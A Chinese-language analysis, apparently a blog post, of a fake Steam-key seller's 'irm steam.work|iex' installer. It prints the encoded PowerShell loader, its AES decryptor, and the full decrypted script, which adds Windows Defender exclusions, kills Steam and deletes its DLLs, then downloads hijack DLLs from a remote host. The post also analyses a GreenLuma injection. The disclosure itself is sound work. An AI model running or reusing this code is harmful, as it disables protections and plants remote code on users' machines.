前言
之前在某宝购买了steam激活码“正版”游戏但是发货后要执行powershell命令我就感觉到了不对劲
irm steam.work|iex分析
按照url下载下来是这样一个powershell命令
powershell -encodedCommand "$ v z w n b q d   =   [ S y s t e m . C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( " 1 A t Q C 0 m z Q Q G D y S o R L b O P P w r f + D j 7 q 3 x i O c h U D j 3 6 1 G R K r 4 R r r C X e 3 a J Q i 2 r o v q H S L I l 9 6 8 H 3 S i 3 u N A Y x p y 2 n / 6 L D w G i 6 W K h N c j k M Q c t g Q + / a 2 F 3 r L V l 9 V M q / F j W G 0 x n s w V F 9 T 0 2 0 f r v s H O L K V y 4 U + 7 u 0 p S s d 2 e r S s T O F U M Y E i U Z 0 S L Y G x Q 4 d j o b 1 d G u a k n 8 6 4 e s j 6 0 n M 3 W S G r J c L Q G S 6 1 o h P o d v 0 U i Q X O g 8 7 Y p U t 5 h z t T 1 n 6 t y J x W 5 7 m B B u s + 3 K V A q E 2 k i L L + v 8 R 7 8 N C G c q y W T a D E 4 f O 5 + v F x + i g h Z / 2 2 B v m y x l U I D l E C r M r W R U N W m a u a L t a n 7 l J 6 O V Y L 9 0 5 I C i B H 3 M R U 3 W 2 z i d 3 b C n C 8 B u n / x X J / j w r p F A b i v t y d c l h X e D W v B g t n E k F g w Y m W r N p R D c J J G b H v 4 C E Y a y k u n N k M E K 1 m C 1 q P Z k K u R S / 3 + k F F 4 F P J 5 6 f l 9 A K i / i I n A + A 2 z E g d x I r P l 2 I z c / l S Z 7 q F Z y f H o t 8 q e k l 5 3 G C g y 2 N a E 0 a U F U a B 6 M L O T M Z N F 2 d v H 9 X I U O 3 P W B f C d S Y U U U K x v Z O 2 t 8 I O S A T / / k G Q F v L m b c c M / R A s E 1 Z J S n H S H c p I 8 X I 2 7 t p j Z q t Y x R P e l n G 5 Z 6 k K 4 v P w q Q B t s b 4 8 N + 6 Q 7 u M g W Q 3 2 5 f k 6 5 G O 4 x d I V C u 5 b J 5 t q 6 1 f Z v 4 G r z w 6 c B A v 5 Y q q o E + R 7 7 7 r j D q X M 1 l 0 i 9 0 h f a e W a h 7 q a i 4 x L y K N C R 7 5 E m C R e d j 6 + u Y N c 6 k 2 W J o H 5 R d U u 2 B V K w i z 5 Y u 4 c q L W G f n 1 o i 3 q D e + z X N P c j j 3 Y Q K v 8 k 7 6 O s Q A W U q E K n 5 f e / I B b J l V 3 8 X M h Q g 9 z t w p O G f H 5 z w H j D W 5 3 J i j J 4 k 3 W T j 8 A u W G Y Z 9 D X 8 Q X c M N R R I X y b C h O / o Z C + Z 4 d 6 7 M 7 H q X X L V j K b O g Y f C O f A 3 8 O b 9 m 1 o P I g L 5 z v x 7 E 8 y i r 1 9 p J m M E / F V r 9 o e I j 4 M 3 E B w H f v g X p P k C j l F 4 y q n c R a R Q J V j A b S Q L r t W D t Z k R 7 m v e Z Y y n s A C X X Q o m 6 G R i U v b P n G t + T i s i j 9 X u 7 I w a M W V Z M f p q c I n L 7 S f / Y R j a e I d q 9 R b U M r V T M 8 N 6 D w 4 L R Y B L i 0 o D T f L 3 q w d M D 9 / E I i A i r F c 1 Z B r g K y Q k / m x q U Y b S q e V + u L 6 h R x p g S 7 S A 4 s / l B k V a v C 6 2 O t Z q / R A q n j K R a s g 3 A e G A J n l X t e n Y w s C 3 a y e G F Z j U s F h n N S P Y k P p 2 0 A K n t F o H S V N J 5 w E Z 6 n 3 D E C U K c t 1 Q J t + O u j X h T D C H R O M V g n 0 L G R w Z M o g 2 3 K h 6 a x X H g 8 E X L Q Y 6 J 8 Z C 1 y X x P A F G I + K 1 C I H Q D U U I 7 r X d L m s l E 1 9 o / / X b 3 L y m O Z Y u c s B v C a c w q 0 z p d / H L h b z 2 0 y Y w 9 F W C M c 1 k Y c k y 6 T K U t V B 9 H b u m 2 L S H G y A A Q N t g d R D 1 i H S q 6 k 0 t o x r j E N 1 S z 3 m + 2 U S R f E F k S I n V 8 c I A I u R H R p C 6 Z 9 Z Y e Y r F F j 3 7 T G 4 g j 0 S 7 T D H z w 9 Z x F h O U M p l y d W F E c h I E O 9 v z W 8 M Z y R F s D Q 2 l s V H H K j h M t 1 z 8 P Y b 1 s q V q 0 U v w O E 4 5 9 m O y P m D F 1 Y 0 c K E V 0 9 5 D g 3 a y z X x Z 1 L l 4 f Z I a l O X s l T f m J U n Y 5 n W 5 P 3 D y z 4 d + O z l H T j a + a U x P w C g 5 N a y L 9 E Z 3 t c I n I y O o 4 6 G d a 7 / o H m y a Q Y N v d J x l Y w 8 X S C I d 4 D W k U 6 L q G h y f T Q a / / A k P G 5 G H E W B t h N 0 R 3 S / f h 2 R i P 3 5 / Z x b K 6 N g v S m r 6 T 3 q t 2 O / Q 9 l 6 E 6 t v N H b D K 3 / V G S c J d d y H Q P d t r g Y r h V E 8 x V 3 S 0 y r e B V h N / 8 e S k A 6 2 3 G c f T o i Q W g X w 1 s V S V q q Z K U z F a x F V 8 9 I p o u V 8 6 T s I h 5 M N Q H U l y z E a 4 c u l n b l G 7 2 x x l G w R K D 3 d s 1 F V G 3 N 4 V E U C 0 W 3 i 9 d O F q k p l V h H Q Q D Z p 7 a D J k m r D Q U N 6 t I i n n F / v 0 x A / 2 / 5 A x U U n + Z b q F d s u u D P r V 1 j q S z z x 9 I n M k q 0 R H p J c d Q F A Q f h r s x o k s Q x 2 q b m C K l y t l 8 Z a H 3 j D 6 x f g V 9 H A W x i l T 4 g F F i 7 a h r F s B 7 j L f y G h H l 7 i c 3 l W M b 0 b W t O i H h / 6 H r l 4 B 6 B H E o B + E I 7 c N x o M j X C U m P T g t o c z L a G e E x 6 g d Z R h 4 s V g U + Z 6 H w Q W C M + j p c u D N C b z R W / K e u 0 6 J G t / 6 h W s 9 + K G 5 + H u H K f o k c A c 3 F v o 9 A 6 B V S r 1 X n z h Y f J z S 4 A E w R H V E V b N H s s A y F / i G O L E G s 5 I u V w 4 T I K b G 7 A k q E T 3 9 8 y N z 1 B 1 R 9 y e A + r / Q R 4 O c g V N A g S E s R I v k k I N 2 V 3 S O r 5 7 A F A N 9 + h j N j F e a b R b u f 0 K P 8 h Z 9 e B g m n t M c J N R m s s Y N L 7 1 f g 7 X m t 9 E j 9 5 z 8 Z R J x i c 4 l M 1 9 B m d 8 1 k 8 O J m d G n 4 W G E Z a f K A j k Y o t q x U 5 4 a T 1 3 W N v t 1 T 0 x F 0 a z y m 1 i k 9 7 V 7 T r F z J G K s U 5 P x u R g t 8 3 v e 9 9 w C 9 j U U w 0 N c S Q A / L Y / K G A + j s r 8 4 8 g N R 8 c G i g r J x 5 i N K C z z 4 c D g H E h R + 4 b M T u 9 u A V o 7 h / 8 I 9 I q n 7 G H e x V m 3 q V U / p d i q o d u H R m T 6 8 O F O g + l q Q b z W f n b 6 1 j u Q q H 4 A 9 a Y V N t A q p s Q u 8 Q K o L J J 9 m v Y J p s Q r A 2 8 h O 4 k l x f f Z d t h 0 b x S N A v Z 3 S t z 4 T v X X 5 d Z o H s 7 K 7 d h K 4 h e 9 r R W 2 2 F u n I 3 S g A 9 y R a v q y w W D x Q I L 3 Z G a E 9 6 K X i C O D h w k U k r C E 8 j k / c N 4 t D L Q x Q O p F N Z w i N 0 y C + p 5 B k w 2 0 a T V r p w M c J v / r G 3 S R m 1 K f w o S C d m 6 0 / M j D M 1 S h q r Q 1 a u B 1 5 j 5 7 K X 2 Z j P 8 F O B 7 g N w p C Q j J 9 R u l r 0 Z R e n h D N i j j 4 M C T B L H C u y 9 H s p s X x o 9 J F V 9 z y O H O C e 4 N E v L D o E R + j 6 A u f U v K e z 4 s s k V 5 O x J E r S r a D K T x 7 o t k w + a y 1 Z 2 w r j k + a s Y A t N V k x 9 r 9 T J Z h R n y 9 a 0 6 C f W X 7 C 2 h q G 4 2 2 F u U P s f Y U f h 6 k Y s p s / s 7 p 3 p 8 8 i y x g A W M a f 3 X o e V i + 1 J w X b 0 C s t V W T f T t A x F R Q Q X u T R m z y m B H p 1 1 S t z j 0 6 N 5 B l m G N + w B F X h Y N P p O e 4 c n O B M R d D H n I L 7 4 Q Z O 4 c X l z U V t V D N 4 L w / m b S T p + Z 6 K X W t c v A 8 O g c z M 8 b 5 5 I p d b b Z g O V 6 W g C k J s W y 6 u 9 M b Z 4 / O q l v I u V m X 2 7 y W y n w h Q j h j 4 1 s K 8 p Q g O G H 7 L 9 F G 5 w K v o k A f I F 9 7 Y s N O O y W K 6 l N 1 Z 1 0 N C O W t 7 p k C g Z W I 4 Q b M C e 1 V G m o X M K v Q T C W L 4 X i 0 d e w e M m 1 S H p j O H j k s Y 7 9 P 4 w d N s f H j M Q u 8 K Z R 7 C 4 q B i 4 P f + o r 2 K E M 4 4 A i 8 k l M 7 l d N v i i j V C Z L A d c X q 0 T X g T 0 X 0 e o K p f B 5 G 5 I R i P N x c B 6 B 6 X J g A o h J T + z 5 4 i V e i k I Z w h l Q V I 2 + m a B X n 2 a E 9 y 0 q h M / N X q e h n 6 F l b Q V N l 5 6 K V j u P P g / + T q D z 7 z e w e C Y b l 3 i V P J i d m q 8 k a m 3 L i 6 1 + B n s k 4 d n H L Q l Q p s E T R R d x X x V c a D b 7 H e b q J 6 U p F P G a y D U H w n J 8 s + P a W g R H T v 6 p 4 1 h Z r c E 2 b d Y + 0 n 4 P L o Y O i 1 S C 3 G w V J 6 R 1 q L E t X J z X M C E K 9 W A G J 7 1 k z E O Y C U l l L c Q z F M v V D M 2 4 f f M w 2 f a c d s w W w U Q n h d 7 l P p + H y 9 j 1 b H / 2 c 5 D H E O J l M P t Q d K 8 C i H 6 O Z B 3 2 / S n D b J R i 0 7 8 i Q E U 9 n T m g C a g e H o c B O 1 7 Q r R f a Z 4 8 y l a + S K 7 5 Q 0 L N I y O F G 9 A P f 1 j I n S 6 d + 6 y t 1 1 w Z 1 z z d y I f W n g Q C E n x E H i 8 R t T S 3 u v b X Y E O 4 Y G M / J W S l 3 h O O l U 2 D 1 u w N m 8 x 7 x y y n P / P W 1 i s 3 / A f p 5 n j g c k M d R i 1 S G c c Q x S r I k v R r b B 8 k l r P 2 n w n B A I Z m Q g B X D 6 f Q U x A o 0 g A r F M 9 B 4 X z E P F o K x E v 4 L L S J + K L K f f f e r Y a 3 9 u C M I 9 A 0 Y D e c L 0 Q N m V n M U e 2 a B Q 0 S w w U a 1 F O 0 Z q Z E 7 c C U 9 u j x U E g / + 0 D 8 " )  
 $ b m o y q c   =   [ S y s t e m . C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( " U A 2 K b G i L u L Y K G N K X p 0 I 8 5 S K 9 A D 1 B O a c / a 0 n G z 4 B c 9 Z s = " )  
 $ h j f m p y   =   N e w - O b j e c t   " S y s t e m . S e c u r i t y . C r y p t o g r a p h y . A e s M a n a g e d "  
 $ h j f m p y . M o d e   =   [ S y s t e m . S e c u r i t y . C r y p t o g r a p h y . C i p h e r M o d e ] : : E C B  
 $ h j f m p y . P a d d i n g   =   [ S y s t e m . S e c u r i t y . C r y p t o g r a p h y . P a d d i n g M o d e ] : : P K C S 7  
 $ h j f m p y . B l o c k S i z e   =   1 2 8  
 $ h j f m p y . K e y S i z e   =   1 2 8 
 $ h j f m p y . K e y   =   $ b m o y q c  
 $ h j f m p y . I V   =   $ v z w n b q d [ 0 . . 1 5 ]  
 $ n c z b   =   N e w - O b j e c t   S y s t e m . I O . M e m o r y S t r e a m  
 $ w v p q m   =   N e w - O b j e c t   S y s t e m . I O . M e m o r y S t r e a m ( , $ h j f m p y . C r e a t e D e c r y p t o r ( ) . T r a n s f o r m F i n a l B l o c k ( $ v z w n b q d , 1 6 , $ v z w n b q d . L e n g t h - 1 6 ) )  
 $ j c a i b s x   =   N e w - O b j e c t   S y s t e m . I O . C o m p r e s s i o n . D e f l a t e S t r e a m   $ w v p q m ,   ( [ I O . C o m p r e s s i o n . C o m p r e s s i o n M o d e ] : : D e c o m p r e s s )  
 $ j c a i b s x . C o p y T o ( $ n c z b )  
 $ h j f m p y . D i s p o s e ( )  
 $ j c a i b s x . C l o s e ( )  
 $ w v p q m . C l o s e ( )  
 $ w v r e q   =   [ S y s t e m . T e x t . E n c o d i n g ] : : U T F 8 . G e t S t r i n g ( $ n c z b . T o A r r a y ( ) )  
 I n v o k e - E x p r e s s i o n ( $ w v r e q )  
 "
base64解码后:
$vzwnbqd = [System.Convert]::FromBase64String("1AtQC0mzQQGDySoRLbOPPwrf+Dj7q3xiOchUDj361GRKr4RrrCXe3aJQi2rovqHSLIl968H3Si3uNAYxpy2n/6LDwGi6WKhNcjkMQctgQ+/a2F3rLVl9VMq/FjWG0xnswVF9T020frvsHOLKVy4U+7u0pSsd2erSsTOFUMYEiUZ0SLYGxQ4djob1dGuakn864esj60nM3WSGrJcLQGS61ohPodv0UiQXOg87YpUt5hztT1n6tyJxW57mBBus+3KVAqE2kiLL+v8R78NCGcqyWTaDE4fO5+vFx+ighZ/22BvmyxlUIDlECrMrWRUNWmauaLtan7lJ6OVYL905ICiBH3MRU3W2zid3bCnC8Bun/xXJ/jwrpFAbivtydclhXeDWvBgtnEkFgwYmWrNpRDcJJGbHv4CEYaykunNkMEK1mC1qPZkKuRS/3+kFF4FPJ56fl9AKi/iInA+A2zEgdxIrPl2Izc/lSZ7qFZyfHot8qekl53GCgy2NaE0aUFUaB6MLOTMZNF2dvH9XIUO3PWBfCdSYUUUKxvZO2t8IOSAT//kGQFvLmbccM/RAsE1ZJSnHSHcpI8XI27tpjZqtYxRPelnG5Z6kK4vPwqQBtsb48N+6Q7uMgWQ325fk65GO4xdIVCu5bJ5tq61fZv4Grzw6cBAv5YqqoE+R777rjDqXM1l0i90hfaeWah7qai4xLyKNCR75EmCRedj6+uYNc6k2WJoH5RdUu2BVKwiz5Yu4cqLWGfn1oi3qDe+zXNPcjj3YQKv8k76OsQAWUqEKn5fe/IBbJlV38XMhQg9ztwpOGfH5zwHjDW53JijJ4k3WTj8AuWGYZ9DX8QXcMNRRIXybChO/oZC+Z4d67M7HqXXLVjKbOgYfCOfA38Ob9m1oPIgL5zvx7E8yir19pJmME/FVr9oeIj4M3EBwHfvgXpPkCjlF4yqncRaRQJVjAbSQLrtWDtZkR7mveZYynsACXXQom6GRiUvbPnGt+Tisij9Xu7IwaMWVZMfpqcInL7Sf/YRjaeIdq9RbUMrVTM8N6Dw4LRYBLi0oDTfL3qwdMD9/EIiAirFc1ZBrgKyQk/mxqUYbSqeV+uL6hRxpgS7SA4s/lBkVavC62OtZq/RAqnjKRasg3AeGAJnlXtenYwsC3ayeGFZjUsFhnNSPYkPp20AKntFoHSVNJ5wEZ6n3DECUKct1QJt+OujXhTDCHROMVgn0LGRwZMog23Kh6axXHg8EXLQY6J8ZC1yXxPAFGI+K1CIHQDUUI7rXdLmslE19o//Xb3LymOZYucsBvCacwq0zpd/HLhbz20yYw9FWCMc1kYcky6TKUtVB9Hbum2LSHGyAAQNtgdRD1iHSq6k0toxrjEN1Sz3m+2USRfEFkSInV8cIAIuRHRpC6Z9ZYeYrFFj37TG4gj0S7TDHzw9ZxFhOUMplydWFEchIEO9vzW8MZyRFsDQ2lsVHHKjhMt1z8PYb1sqVq0UvwOE459mOyPmDF1Y0cKEV095Dg3ayzXxZ1Ll4fZIalOXslTfmJUnY5nW5P3Dyz4d+OzlHTja+aUxPwCg5NayL9EZ3tcInIyOo46Gda7/oHmyaQYNvdJxlYw8XSCId4DWkU6LqGhyfTQa//AkPG5GHEWBthN0R3S/fh2RiP35/ZxbK6NgvSmr6T3qt2O/Q9l6E6tvNHbDK3/VGScJddyHQPdtrgYrhVE8xV3S0yreBVhN/8eSkA623GcfToiQWgXw1sVSVqqZKUzFaxFV89IpouV86TsIh5MNQHUlyzEa4culnblG72xxlGwRKD3ds1FVG3N4VEUC0W3i9dOFqkplVhHQQDZp7aDJkmrDQUN6tIinnF/v0xA/2/5AxUUn+ZbqFdsuuDPrV1jqSzzx9InMkq0RHpJcdQFAQfhrsxoksQx2qbmCKlytl8ZaH3jD6xfgV9HAWxilT4gFFi7ahrFsB7jLfyGhHl7ic3lWMb0bWtOiHh/6Hrl4B6BHEoB+EI7cNxoMjXCUmPTgtoczLaGeEx6gdZRh4sVgU+Z6HwQWCM+jpcuDNCbzRW/Keu06JGt/6hWs9+KG5+HuHKfokcAc3Fvo9A6BVSr1XnzhYfJzS4AEwRHVEVbNHssAyF/iGOLEGs5IuVw4TIKbG7AkqET398yNz1B1R9yeA+r/QR4OcgVNAgSEsRIvkkIN2V3SOr57AFAN9+hjNjFeabRbuf0KP8hZ9eBgmntMcJNRmssYNL71fg7Xmt9Ej95z8ZRJxic4lM19Bmd81k8OJmdGn4WGEZafKAjkYotqxU54aT13WNvt1T0xF0azym1ik97V7TrFzJGKsU5PxuRgt83ve99wC9jUUw0NcSQA/LY/KGA+jsr848gNR8cGigrJx5iNKCzz4cDgHEhR+4bMTu9uAVo7h/8I9Iqn7GHexVm3qVU/pdiqoduHRmT68OFOg+lqQbzWfnb61juQqH4A9aYVNtAqpsQu8QKoLJJ9mvYJpsQrA28hO4klxffZdth0bxSNAvZ3Stz4TvXX5dZoHs7K7dhK4he9rRW22FunI3SgA9yRavqywWDxQIL3ZGaE96KXiCODhwkUkrCE8jk/cN4tDLQxQOpFNZwiN0yC+p5Bkw20aTVrpwMcJv/rG3SRm1KfwoSCdm60/MjDM1ShqrQ1auB15j57KX2ZjP8FOB7gNwpCQjJ9Rulr0ZRenhDNijj4MCTBLHCuy9HspsXxo9JFV9zyOHOCe4NEvLDoER+j6AufUvKez4sskV5OxJErSraDKTx7otkw+ay1Z2wrjk+asYAtNVkx9r9TJZhRny9a06CfWX7C2hqG422FuUPsfYUfh6kYsps/s7p3p88iyxgAWMaf3XoeVi+1JwXb0CstVWTfTtAxFRQQXuTRmzymBHp11Stzj06N5BlmGN+wBFXhYNPpOe4cnOBMRdDHnIL74QZO4cXlzUVtVDN4Lw/mbSTp+Z6KXWtcvA8OgczM8b55IpdbbZgOV6WgCkJsWy6u9MbZ4/OqlvIuVmX27yWynwhQjhj41sK8pQgOGH7L9FG5wKvokAfIF97YsNOOyWK6lN1Z10NCOWt7pkCgZWI4QbMCe1VGmoXMKvQTCWL4Xi0deweMm1SHpjOHjksY79P4wdNsfHjMQu8KZR7C4qBi4Pf+or2KEM44Ai8klM7ldNviijVCZLAdcXq0TXgT0X0eoKpfB5G5IRiPNxcB6B6XJgAohJT+z54iVeikIZwhlQVI2+maBXn2aE9y0qhM/NXqehn6FlbQVNl56KVjuPPg/+TqDz7zeweCYbl3iVPJidmq8kam3Li61+Bnsk4dnHLQlQpsETRRdxXxVcaDb7HebqJ6UpFPGayDUHwnJ8s+PaWgRHTv6p41hZrcE2bdY+0n4PLoYOi1SC3GwVJ6R1qLEtXJzXMCEK9WAGJ71kzEOYCUllLcQzFMvVDM24ffMw2facdswWwUQnhd7lPp+Hy9j1bH/2c5DHEOJlMPtQdK8CiH6OZB32/SnDbJRi078iQEU9nTmgCageHocBO17QrRfaZ48yla+SK75Q0LNIyOFG9APf1jInS6d+6yt11wZ1zzdyIfWngQCEnxEHi8RtTS3uvbXYEO4YGM/JWSl3hOOlU2D1uwNm8x7xyynP/PW1is3/Afp5njgckMdRi1SGccQxSrIkvRrbB8klrP2nwnBAIZmQgBXD6fQUxAo0gArFM9B4XzEPFoKxEv4LLSJ+KLKffferYa39uCMI9A0YDecL0QNmVnMUe2aBQ0SwwUa1FO0ZqZE7cCU9ujxUEg/+0D8")
$bmoyqc = [System.Convert]::FromBase64String("UA2KbGiLuLYKGNKXp0I85SK9AD1BOac/a0nGz4Bc9Zs=")
$hjfmpy = New-Object "System.Security.Cryptography.AesManaged"
$hjfmpy.Mode = [System.Security.Cryptography.CipherMode]::ECB
$hjfmpy.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$hjfmpy.BlockSize = 128
$hjfmpy.KeySize = 128
$hjfmpy.Key = $bmoyqc
$hjfmpy.IV = $vzwnbqd[0..15]
$nczb = New-Object System.IO.MemoryStream
$wvpqm = New-Object System.IO.MemoryStream(,$hjfmpy.CreateDecryptor().TransformFinalBlock($vzwnbqd,16,$vzwnbqd.Length-16))
$jcaibsx = New-Object System.IO.Compression.DeflateStream $wvpqm, ([IO.Compression.CompressionMode]::Decompress)
$jcaibsx.CopyTo($nczb)
$hjfmpy.Dispose()
$jcaibsx.Close()
$wvpqm.Close()
$wvreq = [System.Text.Encoding]::UTF8.GetString($nczb.ToArray())
Invoke-Expression($wvreq)
三层AES加密,解开后得到
cls
Write-Host -NoNewline " _____ _____ _____ _____ _____ `r" -ForegroundColor:blue
Write-Host -NoNewline " /\ \ /\ \ /\ \ /\ \ /\ \ `r" -ForegroundColor:blue
Write-Host -NoNewline " /::\ \ /::\ \ /::\ \ /::\ \ /::\____\ `r" -ForegroundColor:blue
Write-Host -NoNewline " /::::\ \ \:::\ \ /::::\ \ /::::\ \ /::::| | `r" -ForegroundColor:blue
Write-Host -NoNewline " /::::::\ \ \:::\ \ /::::::\ \ /::::::\ \ /:::::| | `r" -ForegroundColor:blue
Write-Host -NoNewline " /:::/\:::\ \ \:::\ \ /:::/\:::\ \ /:::/\:::\ \ /::::::| | `r" -ForegroundColor:blue
Write-Host -NoNewline " /:::/__\:::\ \ \:::\ \ /:::/__\:::\ \ /:::/__\:::\ \ /:::/|::| | `r" -ForegroundColor:blue
Write-Host -NoNewline " \:::\ \:::\ \ /::::\ \ /::::\ \:::\ \ /::::\ \:::\ \ /:::/ |::| | `r" -ForegroundColor:blue
Write-Host -NoNewline " ___\:::\ \:::\ \ /::::::\ \ /::::::\ \:::\ \ /::::::\ \:::\ \ /:::/ |::|___|______ `r" -ForegroundColor:blue
Write-Host -NoNewline " /\ \:::\ \:::\ \ /:::/\:::\ \ /:::/\:::\ \:::\ \ /:::/\:::\ \:::\ \ /:::/ |::::::::\ \ `r" -ForegroundColor:blue
Write-Host -NoNewline "/::\ \:::\ \:::\____\ /:::/ \:::\____\/:::/__\:::\ \:::\____\/:::/ \:::\ \:::\____\/:::/ |:::::::::\____\`r" -ForegroundColor:blue
Write-Host -NoNewline "\:::\ \:::\ \::/ / /:::/ \::/ /\:::\ \:::\ \::/ /\::/ \:::\ /:::/ /\::/ / ~~~~~/:::/ /`r" -ForegroundColor:blue
Write-Host -NoNewline " \:::\ \:::\ \/____/ /:::/ / \/____/ \:::\ \:::\ \/____/ \/____/ \:::\/:::/ / \/____/ /:::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \:::\ \:::\ \ /:::/ / \:::\ \:::\ \ \::::::/ / /:::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \:::\ \:::\____\ /:::/ / \:::\ \:::\____\ \::::/ / /:::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \:::\ /:::/ / \::/ / \:::\ \::/ / /:::/ / /:::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \:::\/:::/ / \/____/ \:::\ \/____/ /:::/ / /:::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \::::::/ / \:::\ \ /:::/ / /:::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \::::/ / \:::\____\ /:::/ / /:::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \::/ / \::/ / \::/ / \::/ / `r" -ForegroundColor:blue
Write-Host -NoNewline " \/____/ \/____/ \/____/ \/____/ `r" -ForegroundColor:bluefunction Get-RandomString() {
param(
[int]$length=10,
# 这里的[int]是类型指定
[char[]]$sourcedata
)for($loop=1; $loop -le $length; $loop++) {
$TempPassword+=($sourcedata | GET-RANDOM | %{[char]$_})
}return $TempPassword
}Start-Sleep 1
$tempLog = $env:TEMP+ "\log.txt"try{
irm -Uri "https://hz-config.oss-accelerate.aliyuncs.com/help.txt" -OutFile $tempLog
}
catch{
Write-Host "NetWork Result-Error" -ForegroundColor:red
}function PwStart() {
try
{
$steamPath = (Get-ItemProperty -Path "Registry::HKEY_CURRENT_USER\SOFTWARE\Valve\Steam\ActiveProcess" -ErrorAction Stop).'SteamClientDll'
$steamPath = $steamPath -replace "steamclient.dll","hid.dll"if(Get-Process 360Tray* -ErrorAction Stop){
while(Get-Process 360Tray* -ErrorAction Stop){
Write-Host (Get-Content $tempLog)[0] -ForegroundColor:Red
Start-Sleep 1.5
}
PwStart}
elseif(Get-Process 360sd* -ErrorAction Stop)
{
while(Get-Process 360sd* -ErrorAction Stop){
Write-Host (Get-Content $tempLog)[1] -ForegroundColor:Red
Start-Sleep 1.5
}
PwStart
}
else{
try{
Stop-Process -Name steam* -Force -ErrorAction Stop
Start-Sleep 1
#避免退出失败多检测一次
if(Get-Process steam* -ErrorAction Stop){
TASKKILL /F /IM "steam.exe" | Out-Null
Start-Sleep 2
}
#没有检测到杀毒的存在可以开始执行下一步
if (Test-Path $steamPath) {
Start-Sleep 1
del $steamPath
if (Test-Path $steamPath)
{
Remove-Item -Path $steamPath -Force
Start-Sleep 1
}
Start-Sleep 0.5
}
$steamPath = $steamPath -replace "hid.dll","version.dll"
if (Test-Path $steamPath) {
Start-Sleep 0.5
Remove-Item -Path $steamPath -Force
Start-Sleep 0.5
}
$steamPath = $steamPath -replace "version.dll","user32.dll"
if (Test-Path $steamPath) {
Start-Sleep 0.5
Remove-Item -Path $steamPath -Force
Start-Sleep 0.5
}
$steamPath = $steamPath -replace "user32.dll","hid.dll"Write-Host "ServerStart [OK]" -ForegroundColor:green
try
{
Add-MpPreference -ExclusionPath $steamPath
Set-MpPreference -SubmitSamplesConsent 0
}
catch
{
}
Write-Host "Result[0] [OK]" -ForegroundColor:greenInvoke-WebRequest -Uri "https://hz-config.oss-accelerate.aliyuncs.com/dwf/PSH" -OutFile $steamPath -ErrorAction Stop
Write-Host "Result[1] [OK]" -ForegroundColor:green
$strfmt = -join ($env:LOCALAPPDATA,"\SteamActive")
if (!(Test-Path $strfmt)) {
md $strfmt | Out-Null
Start-Sleep 1
if (!(Test-Path $strfmt)) {
New-Item $strfmt -ItemType directory -Force | Out-Null
}
}$strfmt = -join ($env:LOCALAPPDATA,"\SteamActive\hid")
Invoke-WebRequest -Uri "https://hz-config.oss-accelerate.aliyuncs.com/dwf/hid" -OutFile $strfmt -ErrorAction Stop
Write-Host "Result[2] [OK]" -ForegroundColor:greenStart-Sleep 0.5
Start steam://
#连接服务器成功请在Steam输入激活码 5秒后自动关闭窗口
Write-Host (Get-Content $tempLog)[3] -ForegroundColor:greenStart-Sleep 5
#结束运行
exit
}
catch
{
#请重新打开Power shell 打开方式以管理员身份运行
Write-Host (Get-Content $tempLog)[2] -ForegroundColor:Red
}}
}
catch{
#请检查您的Steam是否正确安装
Write-Host (Get-Content $tempLog)[4] -ForegroundColor:red
}
}#开始启动
PwStart
这个命令执行了:
- 从网上下载了一个脚本下来执行
- 脚本加了三重AES加密[为了保护作者的母亲]
- 设置Windows Defender除外Steam目录下的安全防护
- 关闭360等杀毒软件进程
- 删除steam目录下几个dll文件
- 从网上下载hid.dll覆盖到steam的本地目录
- 以及还下了其他用于破解的库
hid.dll是个系统的动态库,hid的缩写是Human Interface Device的简称,简单点说就是控制鼠标键盘之类的用户输入设备的。这玩意放在这里通常是为了让Steam在处理输入设备时先过一次他的拦截,然后再传到系统执行正常操作
steamworks.exe行为分析
它下载的exe文件在微步沙箱也是成功报毒
他所替换的文件可以使商家远程修改你的文件,可能导致你退款就销毁你的steam等....
运行它下载的steamworks.exe文件会强制退出steam平台的进程
接着steamworks.exe释放python支持库和几张输入产品代码的图片到临时文件夹中
程序执行几秒后弹出界面
由于此时steam已强制退出,不难猜到该界面正是刚刚提到的临时文件夹中的图片绘制而成
将某宝店家提供给我们的CDK提交,发现通过网络下载了文件111111.zip
通过steamdb查询我们要激活的游戏123,发现123的ID正是111111
解压后得到其中包含了游戏的清单文件和密钥文件
其中包含了游戏的清单文件和密钥文件
猜测是由steam免费入库工具SteamTools生成
显然店家提供给我们的"游戏CDK"实际上是游戏的标识ID,通过该ID下载对应的游戏免费入库包
接着steamworks.exe将TEVI的清单文件拷贝到steam目录下的depotcache文件夹中,并且修改了包括config.vdf在内的一部分配置文件
然后在steam目录下写入一个User32.dll
User32.dll行为分析
显然User32.dll是为了劫持注入,在IDA中查看发现具有GreenLuma字符串
通过搜索引擎查找GreenLuma,发现这也是一个steam入库工具
显然steamworks.exe通过GreenLuma进行劫持注入,通过之前得到的游戏的清单文件和密钥文件进行解锁
最后,弹出激活成功的窗口并重启steam




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